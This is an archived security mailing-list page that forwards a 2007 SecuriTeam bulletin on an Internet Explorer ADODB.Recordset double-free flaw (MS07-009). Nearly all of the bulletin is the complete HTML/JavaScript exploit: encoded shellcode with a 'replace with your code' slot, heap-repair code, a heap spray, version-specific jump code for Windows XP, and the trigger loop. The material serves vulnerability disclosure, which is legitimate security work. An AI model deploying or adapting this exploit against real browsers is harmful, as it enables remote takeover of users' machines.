Apache-Talk @lexa.ru 

Inet-Admins @info.east.ru 

Filmscanners @halftone.co.uk 

Security-alerts @yandex-team.ru 

nginx-ru @sysoev.ru 

   


   


   

















      :: Security-alerts
Security-Alerts mailing list archive (security-alerts@yandex-team.ru)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[security-alerts] FW: [EXPL] Microsoft Internet Explorer Recordset Double Free Memory (MS07-009, Exploit)



> -----Original Message-----
> From: SecuriTeam [mailto:support@xxxxxxxxxxxxxx] 
> Sent: Monday, March 26, 2007 10:09 PM
> To: html-list@xxxxxxxxxxxxxx
> Subject: [EXPL] Microsoft Internet Explorer Recordset Double 
> Free Memory (MS07-009, Exploit)
> - - - - - - - - -
> 
> 
> 
> Microsoft Internet Explorer Recordset Double Free Memory 
> (MS07-009, Exploit) 
> 
> 
> 
> A remote code execution vulnerability exists in the 
> ADODB.Connection ActiveX control that is provided as part of 
> the ActiveX Data Objects (ADO) and that is distributed in 
> MDAC. An attacker who successfully exploited this 
> vulnerability could take complete control of an affected system. 
> 
> This code exploit "double free error" in msado15.dll 
> NextRecordset() function. As a result of double freeing of 
> same string, rewriting of Heap Control Block by malicious 
> data is occurring. 
> 
> 
> Exploit: 
> <HTML> 
> <!-- 
> ************************************* 
> Microsoft Internet Explorer ADODB.Recordset Double Free 
> Memory Exploit (ms07-009). 
> ************************************* 
> Review: 
> This code exploit "double free error" in msado15.dll 
> NextRecordset() function. 
> As a result of double freeing of same string, rewriting of 
> Heap Control Block 
> by malicious data is occuring. 
> Technique of exploitation is based on "Lookaside remapping". 
> Runs calc.exe if success. 
> --> 
> <HEAD> 
>         <OBJECT id=obj 
> classid=clsid:00000535-0000-0010-8000-00AA006D2EA4></OBJECT> 
> </HEAD> 
> 
> <BODY onLoad='Go()'> 
> 
> <script language=javascript> 
> 
> //------------------Replace with your code-----------------------// 
>         var Shellcode = 
> unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u18
> 4F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC 
> %u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u
> 66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB 
> %u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u
> 8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C 
> %uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%u
> FF57%u63E7%u6C61%u0063"); 
> //------------------Replace with your code-----------------------// 
> 
> 
> //-------------Heap Repair Code. Do not Replace------------------// 
>                 var HeapRepairCode = 
> unescape("%u9090%u9090%u186A%u645B%u038B%u408B%u8B30%u1840%u58
> 05%u0001%u3300%u89D2%u8910%u0450%u5089%u8908 
> %u0C50%uC083%u8928%u8900%u0440%uC083%u6608%u783D%u7C05%u8BF2%u
> 81D8%u90C3%u0000%u8900%u3318%u83D2%u04C0 
> %u1089%uC083%u8104%u80C3%u0000%u8900%u3318%u89C0%u8303%u04C3%u
> 8166%u88FB%u7C1E%u8BF4%u81D3%u70EB%u001E 
> %u6600%u338B%u8966%u4232%uC642%u0802%u6642%u328B%u3166%u4232%u
> C642%u1402%u6642%u328B%u3166%u4232%u6642 
> %uC381%u0160%u1389%u5389%u8904%u891A%u045A%u9090"); 
> //-------------Heap Repair Code. Do not Replace------------------// 
> 
> var part1 = ''; 
> var part2 = ''; 
> var partLen = 127; 
> 
> function PrepMem() 
> { 
> //Standard Heap Spray Code 
> var heapSprayToAddress = 0x05050505; 
> 
>         var payLoadCode = HeapRepairCode + Shellcode; 
>         var heapBlockSize = 0x400000; 
>         var payLoadSize = payLoadCode.length * 2; 
>         var spraySlideSize = heapBlockSize - (payLoadSize+0x38); 
>         var spraySlide = unescape("%u9090%u9090"); 
>         spraySlide = getSpraySlide(spraySlide,spraySlideSize); 
>         heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; 
>         memory = new Array(); 
> 
>         for (i=0;i<heapBlocks;i++) 
>         { 
>                 memory[i] = spraySlide + payLoadCode; 
>         } 
> 
>         function getSpraySlide(spraySlide, spraySlideSize) 
>         { 
>                 while (spraySlide.length*2<spraySlideSize) 
>                 { 
>                         spraySlide += spraySlide; 
>                 } 
>                 spraySlide = 
> spraySlide.substring(0,spraySlideSize/2); 
>                 return spraySlide; 
>         } 
> } 
> 
> 
> function GetSystemVersion() 
> { 
>  //Simple Detecting of OS version out of Jscript version: 
>                  
>                 var ver = ""; 
>                 ver += ScriptEngineMajorVersion(); 
>                 ver += ScriptEngineMinorVersion(); 
>                 ver += ScriptEngineBuildVersion(); 
>                  
>                 if ( ver<568820 ){ return("preSP2"); } 
>                 else if ( ver<575730 ){ return("SP2"); } 
>                 else return (0); 
> } 
> 
> 
> function PrepJmpcode(sp) 
> { 
>         switch(sp){ 
>                         case "preSP2": 
>                                          
>                                         var egg=""; 
>                                         
> egg+=unescape("%u0608%u0014"); 
>                                         
> egg+=unescape("%u0000%u0000"); 
>                                         
> egg+=unescape("%uF708%u0013"); 
>                                         
> egg+=unescape("%u0000%u0101"); 
>                                         
> egg+=unescape("%uFFFF%uFFFF"); 
>                                         
> egg+=unescape("%uFFFF%uFFFF"); 
>                                          
>                                         
> part1+=unescape("%u0400%u0014"); 
>                                         
> part1+=unescape("%u320C%u77FC"); 
>                                         while 
> (part1.length<partLen) {part1+=unescape("%u0505");}// ptr* shellcode 
>                                          
>                                         while 
> (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");} 
>                                         part2+=egg; 
>                                          
>                                         break; 
> 
>                  
>                         case "SP2": 
>                                          
>                                         var egg=""; 
>                                         
> egg+=unescape("%u0608%u0014"); 
>                                         
> egg+=unescape("%u0000%u0000"); 
>                                         
> egg+=unescape("%uF708%u0013"); 
>                                         
> egg+=unescape("%u0000%u0101"); 
>                                         
> egg+=unescape("%uFFFF%uFFFF"); 
>                                         
> egg+=unescape("%uFFFF%uFFFF"); 
>                                          
>                                         
> part1+=unescape("%u0505%u0505"); 
>                                         
> part1+=unescape("%ue128%u75c7"); 
>                                         while 
> (part1.length<partLen) {part1+=unescape("%uFFFF");} 
>                                          
>                                         while 
> (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");} 
>                                         part2+=egg; 
>                                          
>                                         break; 
>                 } 
> } 
> 
> function Exploit() 
> { 
>                 var arr=new Array(); 
>                 var i=1; 
>                  
>                 while(i<500){ 
>                                 try{ 
>                                 k=1; 
>                                 while(k<500){ 
> arr[k]=part1+part2; k++; } 
>                                 obj.NextRecordset( part1+part2 ); 
>                                 }catch(e){} 
>                                 i++; 
>                                         } 
> } 
> 
> function Go(){ 
>         PrepMem(); 
>         PrepJmpcode( GetSystemVersion() ); 
>         Exploit(); 
> } 
> 
> </script> 
> </body> 
> </html> 
> 
> 
> Additional Information: 
> The information has been provided by milw0rm. 
> The original article can be found at: 
> http://www.milw0rm.com/exploits/3577 
> 
> 
> ==============================================================
> ================== 
> 
> 
> 
> 
> 
> This bulletin is sent to members of the SecuriTeam mailing list. 
> To unsubscribe from the list, send mail with an empty subject 
> line and body to: html-list-unsubscribe@xxxxxxxxxxxxxx 
> In order to subscribe to the mailing list and receive 
> advisories in HTML format, simply forward this email to: 
> html-list-subscribe@xxxxxxxxxxxxxx 
> 
> 
> 
> ==============================================================
> ================== 
> ==============================================================
> ================== 
> 
> DISCLAIMER: 
> The information in this bulletin is provided "AS IS" without 
> warranty of any kind. 
> In no event shall we be liable for any damages whatsoever 
> including direct, indirect, incidental, consequential, loss 
> of business profits or special damages. 
> 
> 
> 
> 
> 
> 



 




Copyright © Lexa Software, 1996-2009.